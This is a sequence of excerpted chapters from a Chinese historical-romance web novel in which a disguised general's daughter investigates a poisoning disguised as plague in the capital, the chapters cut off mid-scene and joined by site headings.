男子似乎楞了一下,单手握着自己腰间的匕首,打量着眼前的沈安宁,“与你何干?” 沈安宁面无表情,“‘白羽’。” 房小九和蒙面男子听见沈安宁的话后都楞了,男子警惕的盯着沈安宁,突然一阵劲风似的冲沈安宁而去。 沈安宁敏捷地后退,站稳后迅速地抽出了别在后腰上的扇子冲了上去,那男子伸手挡开了沈安宁,踉跄后退一步,定了定神后拔出腰间精致的匕首,顷刻间,两人已在寂静的街道上交手了数招,竟然未能分出胜负。 房小九扶着一旁的墙,脸上还是刚听见‘白羽’时的严肃,他知道沈安宁出生在边疆,又在酒楼见过沈安宁出手,只是没想到沈安宁的武功竟如此厉害,只不过这个陌生男子在力量上占有优势,而沈安宁只能靠灵活的移动来消除力量上的差距。 两人势均力敌,一时都无法摆脱对方,这时男子看向站在一旁的房小九,匕首一转削了沈安宁一缕青丝,朝着房小九刺来。 沈安宁快步回首,挡在了房小九面前,收起扇子用扇骨挡住了匕首。 男子和房小九眼中具是浮上了疑惑之色,削发如泥的匕首刺在了扇骨上,扇骨居然没有断? 就在男子疑惑的瞬间,沈安宁趁机踢出了一脚,男子急忙退开,定了定神又朝房小九刺去,沈安宁一边拉开了房小九,一边有些吃力的用扇子接住了男子的匕首。 房小九趁着间隙,皱着眉头寻找暗处的仲阳,可这时仲阳却不知去做什么了?没了踪迹。 男子似乎找到了突破口,一直朝着房小九攻击,沈安宁力量远不及男子,本也是靠着灵活移动来和对方制衡,如今拉着房小九,几次险些被对方打伤。 就在沈安宁正准备接过对方一招时,对方居然转了个身刺向了房小九,虽然沈安宁及时地回过身去踢开了男子手中的匕首,房小九却还是因为躲避不及被伤到了手臂。 沈安宁还准备出手,没想到那男子却突然收了手,道:“这位公子!你不看看你身后那位公子吗?他看起来像是不行了!” 沈安宁这才回过头看向房小九,手臂被匕首划了一道,半个手臂都是血,面色苍白,沈安宁问道:“你没事吧?” “没事,先别管我!” 沈安宁眉头紧锁,回头一看,那里还有那陌生男子的身影,又转头看向房小九,虽然心中想要追上去,可一想到把房小九一个人留在这,又觉得不妥,看了一眼空无一人的街道,最后她还是把扇子往后腰一别,上前拉过房小九的手臂查看伤口,见无中毒迹象,于是抽出了一方手帕简单的包扎了一下,就起身准备扶着房小九往医馆去。 “可以走吗?” 房小九看着沈安宁熟练地查看自己伤口,为自己包扎,听见沈安宁问自己后抬头看着沈安宁的脸庞,月光下的沈安宁周身似乎透着光,刚刚的打斗使她的头发有一些凌乱。 沈安宁见他一直看着自己,不知是不是因为有伤的缘故,原本就毫无血色的脸这会更是苍白,“我送你去医馆。” 见沈安宁准备扶自己,房小九笑道:“我可以自己走!一点小伤,咳咳……不碍事的!” 说完就用没伤的那只手扶着墙想站起来。 沈安宁见状上前扶起他,原本淡淡的药草香一下变得有些浓,沈安宁看了看他的伤口扶着他往医馆走去。 房小九也任由沈安宁扶着,“这次可多亏了沈兄弟!没想到沈兄弟还是个高手啊!得空了也教我两招,防身用!” 两人到医馆时,前室只有一个小厮正在打扫,见到两人又回来了,满脸笑容正准备说话,又见房小九大半个手臂上的血,惊讶道:“这是怎么了?我去后面找齐博士!” “不用了!我会处理!”沈安宁叫住了小厮,“你去帮我打盆 17. 第十七章 二旺 《点绛唇》全本免费阅读 沈安宁到陈府时,阿月正百无聊赖地坐在陈府门前的石狮子旁晃着腿,一见沈安宁过来,立刻就跳了下来,“小姐!你终于来了!我可都等你好久了!” “嗯,你怎么在外面等着,燕姨怎么样了?” 这时楚管家正从门口走了出来,摘了面纱上前行礼道:“姑娘,你回来了啊!”又看了看沈安宁身后,疑惑的问道:“我家少将军没和您一起回来吗?” 沈安宁点了点头,“他……他还有些事在处理,晚点就回来了!” “好。”楚管家抬头,笑道:“阿月这丫头,叫她在里面等您,她非不听,说是要坐在这里能早点见到您。” “燕夫人歇下了,我才出来的,反正在里面也是等,在外面也是等,而且坐在外面你一来我就看见了!”阿月拉了拉沈安宁的手,扭了扭脖子,“小姐,我们回去吧!今天可累了!” “嗯。”沈安宁又问道:“陈叔回来了吗?” “回来了!正在夫人院里陪夫人!” “好,你回去吧!燕姨有什么事立刻去侯府通知一声!” “姑娘慢走!” 沈安宁转身和阿月一道上了马车,楚管家站在门前等他们马车离开后才进门关上了陈府的大门。 马车上沈安宁还在想着‘白羽’的事,得想办法尽快找出今晚那个男子,转头一看阿月又想起了陈府门口的晋王,“阿月,方景渝今天来干嘛?” 阿月惊讶得睁大了眼睛,笑道:“小姐!你怎么知道啊?难道你真的会算!不过这个晋王殿下还真和其他皇子不一样!他今天是特意来照顾病人的!在这里待了一天呢!” 沈安宁笑了笑,“你才见过几个皇子啊?就敢说他和别的皇子不一样?” “真的不一样!”阿月认真道:“小姐!他真的和别的皇子不一样,那天在宫宴上你看那几个皇子,不是金啊银啊的,就是争权献计,只有晋王殿下送的礼物就跟他本人一样干净!” 沈安宁见他说着两眼放光的,笑了笑没说话,倒是阿月见沈安宁没有说话,就拉着沈安宁说起了今天和方景渝是怎么碰到的,又是怎么一起煎药的,一直说到了侯府门口。 沈安宁一路被她念叨着,一见到了侯府就立马跳了下来,丢下一句,“你先回去歇着,我去找阿爹一趟!”便头也不回的往院子里走。 正要往书房走时正巧碰见吕管家,“吕叔,我阿爹回来了吗?” “回……”吕管家正要回沈安宁,就见沈海正往这边走来,“侯爷!” “嗯,阿宁,什么事?”沈海对吕管家点了点头,吕管家便低头退了出去。 沈安宁跟在沈海身后往书房走去,“阿爹,我今夜见到了‘白羽’。” 沈海有些诧异地停住了脚步,回过头看她,“‘白羽’?”见沈安宁点了点头后又转身一边听着沈安宁讲述今夜遇见那男子的事,一边往书房走去。 “阿爹,最近城中瘟病横行,我向叶姑娘打听过,这瘟疫有些异常,这个时候在京城内又出现杞国人,这瘟病会不会是他们故意为之?” “若真是杞国人所做……”沈海陷入了沉思。 沈安宁自然知道自己父亲在担心什么,想了想回道:“平川有师父他们在,应该没有问题,只是……难道杞国人的目的是圣上?” “明日叫你张叔先去找出此人,只是这人既手握‘白羽’,定也不是等闲之辈,只怕这洛京城内早已藏了杞国的细作。” “是。”父女两眉头各自爬上了忧虑,神情出奇的一致。 往自己院子走去时,沈安宁眉头的忧虑还未消散,忽然听见一阵细细的风铃声响,这才暂时将眉头舒展开。 走进院子一看,原来是阿月那丫头正坐在窗上把玩着那个梨花风铃。 沈安宁靠在院门口看着窗上的风铃,许久,阿月才发现她回来了,开心地往她走去,“小姐!你回来了啊!” “嗯。”沈安宁伸了个懒腰。 “这几天总听见这个风铃响,这是哪来的啊?” 沈安宁看了一眼风铃,“今天忙了一天了,还不累吗?快去休息吧!明天还得去燕姨哪!” “哦,好吧!”阿月说着说着也伸了个懒腰,“那小姐你早点休息!” “嗯!”沈安宁在阿月离开后就洗漱准备歇下了,夜里伴着风铃声和一肚子的疑惑久久未能入眠。 第二日一早,沈安宁还是先去看了孙雪燕,然后将‘白羽’的事告诉了陈子洵,并找张千通报朝堂,带人去排查了带匕首的人,最后沈安宁还是和前一天一样,等孙雪燕喝了药休息了以后,把阿月留在了陈府,自己和陈子洵则去了医馆找二旺。 不出所料地也在医馆遇见了手臂被吊起来的房小九。 沈安宁心中一直记挂着找二旺了解情况,只是医馆内人手不够,大都忙不过来,沈安宁决定先帮几个药童一起煎药,而陈子洵则去做了叶云舒的助手。 待等到了医馆终于空闲了一些时,沈安宁才起身拍了拍灰,往二旺处走去。 沈安宁也明白房小九今日为何总跟着她,她去送药,房小九也去送,她回去煎药,房小九也跟着煎药,只是他就一只手,每次还得沈安宁帮忙。 见沈安宁往医馆里面走去,房小九也立即跟了上去,沈安宁见状也没说什么,算是默许。 两人找到这个二旺时,对方正架着二郎腿,哼着小曲躺在简易病床上。 沈安宁走近,蹲在二旺旁边。 二旺迅速用本就没几块布料的衣袖护住了腰侧一块鼓包,神色有些惊恐的看了看沈安宁,又看了看她身后的房小九,问道:“你们干什么?” 沈安宁也不拐弯抹角,直接明了地问道:“你手里的东西是怎么来的?” 二旺一听,睁大了眼睛,将怀里的东西护得更紧了,“关你什么事!这是我的!” 沈安宁:“我不想要你的,只想问问是谁给你的?” 二旺的目光在沈安宁和房小九二人之间游走,似乎在确定面前这二人真的不会抢他的东西,见这两人的衣着都不便宜,才犹犹豫豫地开口,“是……是一个大善人给我的。” “哪个大善人逢人都施舍一锭金子……”沈安宁停顿了一下,想了想道:“怕是当朝皇子也难有出手这么阔绰吧?” 房小九表情并无变化,见沈安宁没有回头,眼珠一转看向了二旺。 “这么大锭金子,你应该记得对方长相吧?身形特征,还有,他给你这锭金子是叫你去做什么吗?” 二旺还是紧紧的护着自己怀里的金子,看了看沈安宁,“要说身形……那位大善人比公子你稍高一些,比公子身后这位公子稍矮一些,也比你们壮一些,穿着……也不像是寻常百姓能穿得起的,还有……”二旺像是在努力回想那天见到的那个男子,“哦!那人右手大拇指上有一颗黑痣!他只是叫我去找从珍宝阁出来的那个公子乞讨,说那个公子会给我更多的钱,我一时迷了心窍才去的,我真的不是有意冲撞他的,我……” 沈安宁见他也不像在撒谎,当日他撞上的是邵晨,难道那人叫他去找邵晨?可邵晨……怎么看也不会是个乐善好施的人。 “什么时候叫你去的?” 二旺想了想,“就是撞见那位公子的那日,那天我要不是实在饿得不行了,叶医者又一直不来,我才跑出去找吃的东西,刚出那宅子,就碰见那位大善人,他给了我一锭金子,我长这么大都没有见过这么大一锭金子,他说从珍宝阁出来的那个公子还有要给我的,我才去的,早知道会被打又没有钱,我才不去触这个霉头。” 沈安宁不解,拦下邵晨是为了什么?想到这,她回过头看向房小九。 房小九一时不防她回过头,盯着她看的视线还未来得及收回,就和对方视线撞到了一起,顿时有些被撞破的尴尬,干笑了两声问道:“怎么了?” 沈安宁面无表情收回了目光,“无事。” 然后转头继续问道:“你知道你是怎么染上瘟疫的吗?在你之前你还见过谁染上过吗?” 房小九这才看向二旺。 二旺见两人这样看着自己,一时有些窘迫,“我……我也不知道怎么就染上了,之前有谁?之前有谁我也不知道啊?我每天都出去乞讨的……这么多人……” 沈安宁又想起之前那 18. 第十八章 老宅 《点绛唇》全本免费阅读 沈安宁等人来到孙雪燕的院子时,楚管家正在屋外等着,见几人火急火燎地过来,“少将军!姑娘!” “我阿娘怎么样了?” “刘医师正在给夫人诊治。” 陈子洵立即往屋里走了进去,刘医师此时正好把完了脉,一见陈子洵等人过来了立刻起身行礼,“公子!” “我阿娘怎么样了?” “夫人前段时候先是热症,随后热症好了又染上了瘟病,如今瘟病好转了,却突然昏迷了?这一症状真是十分怪异,恕老夫无能,实属没有看出什么病症来。”刘医师抬手擦了擦额头的汗。 阿月一听刘医师这话,都快要哭出来了,见陈子洵和沈安宁两人上前去查看孙雪燕的情况,也擦了把眼泪跟了上去,“小姐,怎么办啊?燕夫人她……” 沈安宁和陈子洵对视一眼,看来孙雪燕的情况和医馆里的乞丐一模一样,沈安宁先反应过来,起身道:“楚伯,医馆内已有几位同样病症的病人了!你想办法把消息传到立即上报给太医署。” “是!”楚伯也不敢耽误,立即就转身去了。 “刘医师,医馆内的乞丐也出现了此病症,有位医者说是中毒,你可曾见过什么类似的毒?” 刘医师被沈安宁一说,略微思考了片刻,“对啊!这不是瘟病,这像是中了什么毒!只是老夫这行医多年确实没见过这种毒,这位公子!你说的这位医者可有法子解这毒?” 沈安宁摇了摇头,如今只能等叶云舒她们想出解救之法了吗? 沈安宁回头看向正躺着的孙雪燕,以前的孙雪燕天性豪放,在军营的一堆男人里也没人敢轻视她,可如今刚到洛京不过几天,却面色苍白地躺在这里。 这时一个小厮来报,沈安宁看了一眼陈子洵,陈子洵才起身出门,小厮立刻上前,“少将军!前院有几个病人晕倒了!” 陈子洵眉头紧锁,“在哪?叫医者了吗?” 小厮:“医者过去了!小的这就带您过去看看!” 陈子洵回头看了一眼房内,就和小厮一起往前院走去。 前院已经围成一团,陈子洵穿过人墙才看到一个躺在地上的病人,一个医者正在把脉。 见医者起身,虽然已经猜到了,但是陈子洵还是抱着一点希望问道:“怎么样?” 医者抚了抚胡子,“这病症实属罕见,不像是瘟病啊?” 陈子洵:“中毒?” 医者像是被点中了,睁大了眼睛看向陈子洵,“很大可能是!” 陈子洵一时不知道该怎么办了,治病救人他也一窍不通,难道只能等吗?等着大夫想出方法来?可万一…… 陈子洵有些烦躁地一拍后脑勺,“先把他们单独放置吧!劳烦医者尽早想出解救之法!” 医者点点头,“这是应该的!” 陈子洵又回到了后院,沈安宁见他的表情也大致猜到了前院的事,几人守着孙雪燕一言不发,只有阿月和彩云两人不时地抽泣声。 沈安宁一直盯着躺着的孙雪燕,难道只能等着了?突然,她想到了二旺他们待的地方,或许从哪能查出毒的来源,对解毒也许有效。 一想到这,沈安宁就立即起身往门外走去,“我出去一会!” “小姐,你要去哪?要我和你一起去吗?” “不用,你看着燕姨,我出去看看就回来。” 说完沈安宁就走出了院子,待她出了陈府大门时,一个熟悉的身影正在对面路旁的茶棚坐着,那人吊着一只手臂,似乎就是在等她,一见她出门就丢下了茶钱走了过来。 “沈兄弟,这是要去二旺他们住过的地方?” 沈安宁抬头看了看房小九,“是。” 说完也没有停下脚步,房小九则是跟在她身后,“带我一个吧!” 沈安宁转头看了他一眼,没有说话。房小九就当她这是默认了,一路跟着她往二旺他们住过的旧宅子走去。 而这时就在陈府大门口,方景渝端着药看向门外,看着离去的两人,喃喃自语道:“这个人的身影怎么这么像……应该不是,他应该在宫中养病。” 说完又看了一眼,最后还是端着药给病人送了去。 沈安宁带着房小九走了上次叶云舒带她走的那条路,等宅子出现在两人面前时,房小九皱着眉头盯着那个原本应该有牌匾的位置。 沈安宁并没有注意到他,而是直径走了进去,又是那一股陈年血腥味扑鼻而来,沈安宁不自觉的皱了皱鼻子。 身后的房小九则是一改往日嬉皮笑脸,严肃而有些冰冷地环视了一圈院子里的一切,说话时又换上了往日的嘴脸,“沈兄弟,这就是二旺他们待的地方吗?” 沈安宁点了点头,“上次就是在这送他们去医馆的。” “是叶姑娘发现的?” 沈安宁直径往里走着,也没有回头,答道:“是啊!” 房小九往前走了走,然后回过头看向正在到处搜寻的沈安宁,皮笑面不笑道:“这个宅子血腥味这么重,怕不是那些冤魂在报复?” 沈安宁正专心找线索,头也没回的随口接道:“你怎么知道是冤魂啊?这个宅子这么老旧,一看就是很多年都没人住过了!但是这血腥味还这么重,当年应该是死了很多人,怕不是被人寻仇了,才会这么残忍。” 房小九听完,楞了会,“这谁说的准。” 沈安宁感觉房小九话里有话,于是抬头看他,见他已经转过头去检查之前乞丐躺过的地方了,沈安宁盯着他看了看,最后觉得自己多心了,也低头去之前二旺躺的地方翻找。 两人花了一个时辰,把宅子里里外外都转了一遍,全都一无所获。 房小九在后花园找了个还算干净的石椅,随意扫了扫上面的落叶就坐下了,“沈兄弟,他们中的毒会不会是从外面带进来的?” 沈安宁觉得也不是没有这种可能,只是若是从外界来的,那查起来就麻烦了。 这时,一个古怪的声音响起,沈安宁立即警备地看向破破烂烂的四周,但声音好像忽然消失了一般,片刻后,沈安宁的目光顺着又一次响起的声音落到了房小九身上。 房小九尴尬的笑了笑,“沈兄弟啊!你饿不饿?” 沈安宁无奈。 房小九摸了摸肚子,“这也不能怪我呀!我这大半日就吃了一杯茶。” 沈安宁见这个院子也搜得差不多了,也没有什么发现,想着要不去医馆看看叶云舒她们有没有看出什么来,“走吧!” 就在两人准备往门口走去时,蓦然间,两人像是想到了什么,同时转头看向了后花园里的那口井。 若是中毒,很大可能是从口入,那除了吃饭就是喝水了,两人又同时看向对方,都明白两人想到一起去了。 房小九先笑了起来,“沈兄弟,你说我们这算不算心有灵犀?” 沈安宁没有理他,直径往那口井走去,房小九也不在意,笑着跟在她身后。 这口井果然不是枯井,只是井里的水不深,想来是当初用来观赏用的,沈安宁在井周围找了找,一个破木桶上接着绳子,木桶还有些潮湿,看来那些乞丐是用这个木桶来打水的。 沈安宁把木桶放进井里,打了一桶水准备提上来看看,只是绳子本身就老旧,而木桶又潮湿,所以更加重。 沈安宁虽然故意少打了一些水,可还是有些吃力,木桶缓缓的往上升,一旁的房小九却没有上手帮忙的意思,在一旁看着沈安宁费劲的拉水还不忘夸赞道:“沈兄弟坚持住!马上就上来了!” 沈安宁没有精力理他,毕竟他是个病秧子,又只有一只手可以动,沈安宁又不能叫他来拉水。木桶缓 19. 第十九章 解药 《点绛唇》全本免费阅读 叶云舒端着这碗水来到了配药的柜台前,此时齐茂成正在配药,一见三人端着一个破碗过来,也赶紧上前问道:“这是?” “这是我和沈兄弟在乞丐们住的宅子里的井里打上来的水,可能和他们中的毒有关。”房小九看见小厮端了饭菜上来,笑着接过,“谢了!” 齐茂成见他这样也没有说什么,看了看他就回过头去看叶云舒放在柜台上的碗,只是闻了闻就怔在了原地,楞了好一会才喃喃道:“好熟悉……只是这一时想不起来在哪闻过。” 叶云舒正在找药,一听见齐茂成的话立即转过头来,“我也觉得这味道很是熟悉,却一时想不起在哪闻过,齐博士可有解毒的法子?” 齐茂成皱着眉头看向她,然后摇了摇头。 叶云舒见状后转过去继续抓药,“找出一些能解这类毒的药材试试,或许会有希望。” 齐茂成想想,也一起抓起药来。 沈安宁也帮不上什么忙,只站在一旁看着他们两个用着各种药试着这水,这时她才想起房小九,转头一看,房小九已经坐到一旁开始吃了。 看来是真饿了,沈安宁见他虽然平时吊儿郎当的,可是吃起饭来虽然有些急却也急中有序,算是规矩。 这时房小九突然察觉到了沈安宁的目光,转过头来看向她,四目相对时,沈安宁移开了目光,房小九一愣,随即笑道:“沈兄弟!要不要一起吃点?” “不用!”沈安宁继续看着叶云舒抓药。 房小九笑着回过头去,看着那清淡的素食,“那可是可惜了,还挺好吃的!” 这时叶云舒抓了一副药出来,沈安宁和齐博士一起走了过去,就连刚刚一直在吃的房小九也走近来看着。 齐茂成弯着腰仔细看着叶云舒的药,最后缓缓的伸直了腰,抚着自己的胡子,点了点头,“煎吧!” 叶云舒听后面色终于有一点点笑容,拿起药就往厨房去。 沈安宁和房小九对视了一眼,然后一起跟着齐茂成来到了厨房,几人忙了半个时辰,药终于是熬好了。 叶云舒看了看药罐里的药,神情总算是松弛下来了,然后几人看着叶云舒小心地把药罐里的药盛了出来。 沈安宁几人来到了病人躺着的地方,叶云舒在离得最近的二旺面前停下,房小九正想上前扶起昏迷中的二旺,齐茂成却先他一步在二旺面前蹲下,扶起二旺方便叶云舒喂药。 叶云舒吹了吹药,然后慢慢的给二旺喂了下去,几人都神情严肃,就连一向嬉皮笑脸的房小九也是皱着眉头直直盯着二旺的反应。 不一会药就喂完了,齐茂成缓缓把二旺放下,“如今只能等着了!” 几人都不作声地等着,时间艰难地过去,几人神情也从一脸期待渐渐转为失望,大约过了一盏茶的功夫,就在几人以为这药没有用时,二旺突然迷迷糊糊醒了。 几人赶紧凑上前去,二旺被这阵仗吓了一跳,叶云舒匆匆上前给他诊脉,又捏着二旺的脸查看了眼珠和舌苔,最后长长的舒了口气。 沈安宁等人见状也舒展了眉头。 齐茂成开心道:“这可真是太好了!叶姑娘!太好了!” 叶云舒也露出了笑容,回过头把药方写了下来。 几人和其他医师在兴奋之后赶紧按照叶云舒的药方开始配药。 沈安宁吩咐人誊抄几份去告知其他医馆的医师后,心里记挂着昏迷的孙雪燕,走到正在药柜旁的叶云舒身边问道:“叶姑娘,燕姨还那边也有一些病人,我先带着药回去一趟,这边就辛苦叶姑娘了。” 叶云舒抬头,想了想,“我同你一起过去吧!那边也有许多病人,这边有齐博士在。” 沈安宁点了点头,陈府确实只有一个刘医师在,若叶云舒能去看一看也好。 就在两人把药都整理出来准备出医馆时,其他医馆的几个医师匆匆忙忙的过来了,几人身后还跟着谭谨和方书君。 前两日沈安宁就听张千说起方书君和谭谨,两人在瘟病发现的第一天就主动前往医馆去帮忙。 对谭谨,沈安宁虽未曾见过,但往日里也在和陈子洵闲聊的话语间了解过此人,所以对于他去医馆帮忙沈安宁并不意外。 反倒是这个方书君,洛京城里的皇子王孙得知是瘟病后纷纷躲回了宅子里,他一个世子,居然也会亲力亲为地去照顾病人,确实让沈安宁没有想到。 医师们进门后只是扫了沈安宁叶云舒一眼就直径往医馆里面走去,唤着齐茂成。 倒是方书君一眼就看出了女扮男装的沈安宁,笑着上前问候道:“前两日听闻沈姑娘也为这瘟病一事奔走,没想到今日在这遇见了!沈姑娘还真是心地善良!” 谭谨似乎没认出沈安宁,听见方书君的话才转头看向沈安宁,这才把之前在大殿上的沈安宁和眼前这个英气的公子对上,上前拱手行礼,“沈姑娘!” 沈安宁也拱手回礼,“世子!小谭将军!我不过是打打下手。” 方书君笑了笑,目光转头看向沈安宁旁边的叶云舒,问道:“这位姑娘是?” 沈安宁介绍道:“叶医者,这次的药方就是她发现的。” 方书君和谭谨一听都转头看向叶云舒。 叶云舒上前低头一礼。 方书君惊诧道:“没想到叶医者年纪轻轻医术却这么精湛!这么多医师都束手无策,姑娘真是神医妙手!” 叶云舒道:“不敢当,如今疫情还没控制住,还要多劳烦几位贵人!” 这时刚刚进去的太医一行人在齐茂成的带领下出来了,齐茂成一见叶云舒就笑着上前,“这位就是你们要找的人!” 沈安宁一见到齐茂成就往他身后看,刚刚房小九是跟着齐茂成一起去煎药的,现在却没有见他一同跟着出来。 几位医师的目光在沈安宁和叶云舒两人之间来回转换,各个脸上都写着猜度,最后还是其中一位医师先开口道:“药方是这位姑娘写的?” 齐茂成点了点头,“就是这位叶医者写的!” 几位医师又相互看了起来,最后叹道:“姑娘还真是了得,敢问姑娘师从何处啊?” 叶云舒大方道:“家师不过是个乡野郎中而已。” 几位医师又拉着叶云舒聊起了这次的疫情,方书君也加入了进去。 沈安宁想到孙雪燕心里着急,虽然药方已经让人先送过去了,看看时间,陈子洵应当也看到了,但见几位医师还在向叶云舒了解怎么发现解药的,沈安宁就打算自己先回陈府看看,一转头就看到同样站在一旁没有说话的谭谨。 谭谨感觉到了目光,也转头看向沈安宁,似乎在忖量些什么,最后开口道:“沈姑娘,能借一步说话吗?” 沈安宁心中疑惑,她和谭谨也不过只一面之缘而已,对方能找她说什么?沈安宁抬头看了看谭谨,点了点头。 两人一道出了医馆的大门,寻了处空旷地停下,沈安宁等着谭谨开口。 谭谨回过头,便直截了当道:“在下想求姑娘一件事!” 沈安宁仔细回想了一番,确认两人在宫宴之前的确没有见过,而她对谭家父子的印象大多是来自陈子洵和张千等人的话语中,这一会实在想不到谭谨会有什么事请求自己,“何事?小谭将军请讲!” “宫宴那晚,姑娘在御花园见到的……在下想请姑娘不要声张出去!” 沈安宁一怔,这人怎么和方昭清想到一起去了?难道她看起来很像喜欢嚼人舌根之人? 沈安宁无奈道:“这是自然!” 谭谨点了点头,“多谢姑娘!” 从宫宴上太后赐婚看来,这不过是一桩政治联姻 20. 第二十章 师父 《点绛唇》全本免费阅读 江秋妤疑惑道:“鲁王?宫中不是早就关了宫门吗?除了每日上朝的官员,其他人等都不可出宫,为何鲁王会染上?” “他昨日来过医馆。”沈安宁想到昨日方景淳嫌弃的样子,他只是在医馆后的院子里待过一阵,甚至都没有进有病人的室内,竟然也染上了。 “他去医馆干嘛?看他也不像是会去帮忙的人。”陈子洵也很是疑惑。 沈安宁看向楚管家,“像是去找晋王的。” 陈子洵皱起眉头,“晋王也去医馆了?” 沈安宁转头看像陈子洵,“他在府上照顾病人几天了。” 陈子洵有些怀疑地看向楚管家,楚管家也是一脸的毫不知情,这几日刘医师在府上给其他病人看诊,带了几个药童,进进出出的,他只盯住了不让人来后院,没注意刘医师带来的人。 “就是那个煎药的公子,就是晋王!”阿月越说越小声。 江秋妤看向身旁的阿月,楚管家急道:“这丫头!你知道为何不告诉我?这让王爷来给我们干活,这还得了?” 阿月听着楚管家的话,小声地反驳道:“他不让我说。” 陈子洵见状转头看向沈安宁,见沈安宁点了点头,才吩咐道:“罢了!既然是他自己不想说,你们就当不知道。” 楚管家急道:“这怎么行?那是王爷!” 众人还未作反应,一个小厮急冲冲地在门外喊道:“叶医者!叶医者!” 楚管家还在晋王就在自家府上这件事的震惊中,一听有人在院外大呼小叫,忙要训他,又念及江秋妤还在,于是急忙出去呵斥道:“这里岂能是你大呼小叫之地!” 叶云舒一听是叫自己的,起身朝门口走去,只是心中有些不安。 陈子洵把手中的药给了彩云,然后跟着江秋妤沈安宁等人一同出了院门。 小厮一看众人出来了,急忙道:“叶医者!不好了!医馆传来消息!说是有病人吃了药也不管用了!那个乞丐又发起了高热了!那人正等着叶医者一起回医馆呢!” 众人一听,皆是眉头紧蹙,叶云舒当即道:“医馆的人呢?” 小厮:“那人正在府门口!” 叶云舒转头道:“我得先回医馆看看什么情况!” 沈安宁点了点头,江秋妤担忧道:“叶姑娘当心!” 叶云舒连药箱也没带,便急忙往府外走去。 陈子洵想到孙雪燕的药还在院子里,便立即转身往回走,江秋妤也急忙跟了过去。 沈安宁见状,立即吩咐道:“楚伯,你快去吩咐他们先不要按那个方子给病人煎药!” 楚管家也明白事态重要,听了沈安宁的话后立即就转身去了。 沈安宁和阿月来到孙雪燕房间,见彩云已经给孙雪燕喂了几口药了,陈子洵急忙把药从彩云手中抢了回来,彩云疑惑道:“少将军?” 阿月上前道:“这个药还不能解毒!” 彩云看着躺在床上的孙雪燕,心中很是愧疚,“那怎么办?” 江秋妤上前替孙雪燕擦了擦嘴角,沈安宁看着孙雪燕,眉头紧皱,“现在只能等了!” 陈子洵将叶云舒把药箱收拾起来,起身吩咐道:“彩云,你看着我阿娘!我去医馆看看情况!” 然后看向沈安宁。 沈安宁点了点头,转头道:“阿娘!我和阿洵去医馆看看情况,阿月!你留下来照顾燕姨和阿娘。” 阿月知道自己去了也帮不上什么忙,只得用力的点了点头。 江秋妤看着两人离去,忽然感到一阵心慌,晴云见她有些异常,于是问道:“夫人?” 江秋妤轻叹了口气,“我没事!” 说着江秋妤又看向躺着的孙雪燕,晴云见状,以为她只是太过担心,于是劝道:“夫人!孙夫人会没事的!你不要太过忧心了,当心点身子!” 江秋妤点了点头。 沈安宁和陈子洵两人到医馆时,医馆已经围了很多人,医师和大夫们一个个焦急地相互讨论着。 方书君站在一群医师旁边,仔细地听着他们的讨论。 转头间看到了沈安宁和背着叶云舒药箱的陈子洵,立即上前问候道:“小陈将军!沈姑娘!你们也来了啊?” 两人双手抱拳回礼后,陈子洵急忙问道:“世子,现在情况如何?” “医师们正在想办法,不过看来暂时没有什么进展。” “那叶医者呢?” 方书君摇了摇头,“叶医者正在里面给乞丐诊脉。” “多谢世子!”说完便往医馆里面走去。 沈安宁也向方书君行礼告辞,快步上前拉住陈子洵,“面纱。” 陈子洵这才想起来,从怀中拿出了一块雪白的面纱,两人戴好了面纱往医馆里面走去。 方书君侧身,目光一直跟着沈安宁往医馆内去,直到她的身影消失。 沈安宁和陈子洵一路往着病人的地方走去,只见原先二旺躺的地方围了一圈人。 陈子洵拨开人群,才看见叶云舒正给二旺把脉,眉头紧锁,他走了过去把叶云舒的药箱放在她身边。 一旁同样眉头不展的齐茂成和谭谨以及其他几位医师见到二人,上前行礼道:“小陈将军!沈姑娘!” 沈安宁回以一礼,“现在如何了?” 齐茂成叹了口气,“脉象上看,又像是得了瘟病,看来若是先解毒就会诱发瘟病,但要先医治瘟病又会毒发。” 沈安宁看向躺着的二旺,难道就真的没有办法了吗? 众人都看着正在翻看着二旺眼瞳的叶云舒。 最后,叶云舒似乎也叹了口气,准备起身,只是两腿跪久了有些不稳,陈子洵见状立刻扶住了她,叶云舒这才发现陈子洵来了,叶云舒站稳后收回了手,转头看向齐茂成等人,情况又回到了最初,众人都束手无策。 日暮渐暗,叶云舒和各位医师一直在研究各种药方,沈安宁和陈子洵帮着照顾病人等着结果。 方书君和谭谨看着也帮不上什么忙,便来告辞了,“小陈将军!沈姑娘!” “世子!小谭将军!” 方书君上前道:“这天色已晚,不如由在下送姑娘回府?” “多谢世子美意,就不劳烦世子了!” 方书君笑道:“你一个女子,这大晚上的怕遇见危险,况且侯爷和我父王交情匪浅,把姑娘安全送回府又怎么会是劳烦呢?” 沈安宁正要婉拒,就被陈子洵的声音打断了,“世子,你放心吧!十个恶徒也不是阿宁的对手,倒是世子身份尊贵,是否需要派人送世子回府?” 一听此话,方书君和谭谨都看向沈安宁,似乎在怀疑沈安宁是否真的有能打十个恶徒的能力。虽然沈安宁看起来不似一般富贵小姐般娇弱,可和恶徒的体格之间还是有些差距。 沈安宁道:“是啊!是否需要派人护送世子回府?” 方书君这才笑了笑,一直盯着一个姑娘看,确实有些失礼,“是我失礼了,姑娘不要介意!我和小谭将军同行,就不劳烦相送了!” 沈安宁转头看了看谭谨,“好,世子慢走!小谭将军慢走!” 方书君谭谨两人行礼告辞后,陈子洵转头看向沈安宁,“阿宁,你也回去吧!江夫人和阿月还在等你。” “那你呢?” 陈子洵看向门外,“我想再等等,或许医师们很快就有可以治疗阿娘的办法了!” 沈安宁点了点头,知道自己在这也帮不上什么忙,准备回趟陈府。 陈子洵来到医馆药柜处,却只看到齐茂成和两三个大夫,“齐博士,叶姑娘呢?” 齐茂成抬起头,“小陈将军啊!叶医者?刚还在这呢?” 陈子洵疑惑地看向医馆的门外。 叶云舒此时正一路疾步地回到了自己栖身的酒楼,因为城中病情严重,酒楼里没有什么人,冷冷清清。叶云舒直径往楼上跑去,至二楼最里面的一间房门前停下,正准备敲门,就传来一声愤怒的男子声音,“你知不知道你在做什么!” 叶云舒皱起了眉头,正想着这声音并不是自己熟悉的,心中疑惑,这时自己熟悉的声音才响起,“我知道!我一直都清楚我在做什么!我等了二十年!” 叶云舒还未反应,那个不熟悉的声音又一次响起,“我看你是疯了!” 房间内沉默了许久,那个陌生的声音又一次响起,只是语气中蛮是自嘲,“我也是疯了!” 房间的门突然被粗暴的打开了,一个身材高大的男子正愤怒地往外走,一见叶云舒站在门外,先是疑惑随后瞬间睁大了双眼盯着叶云舒。 